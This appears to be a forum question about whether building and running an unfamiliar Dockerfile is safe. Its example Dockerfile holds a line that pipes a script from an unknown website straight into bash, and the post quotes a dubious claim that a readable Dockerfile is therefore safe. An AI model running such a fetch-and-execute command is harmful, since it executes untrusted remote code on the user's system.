Say you have an unknown Dockerfile which has one or more lines you don't understand well.
Example:
FROM ubuntu
RUN curl --silent "https://some-unknown-website.io" | bash
Questions:
Is it safe to build this
Dockerfile?If so, is it safe to run the built image?
I believe even building is not secure, but today a user on the Internet replied to me
Since
Dockerfileis a plain text and you can read it, it is actually not unknown (and thus safe).
Though I think this is a fundamental question, googling like "is bulid unknown dockerfile safe" or "is build third-party dockerfile secure" gives no good result. So I posted here.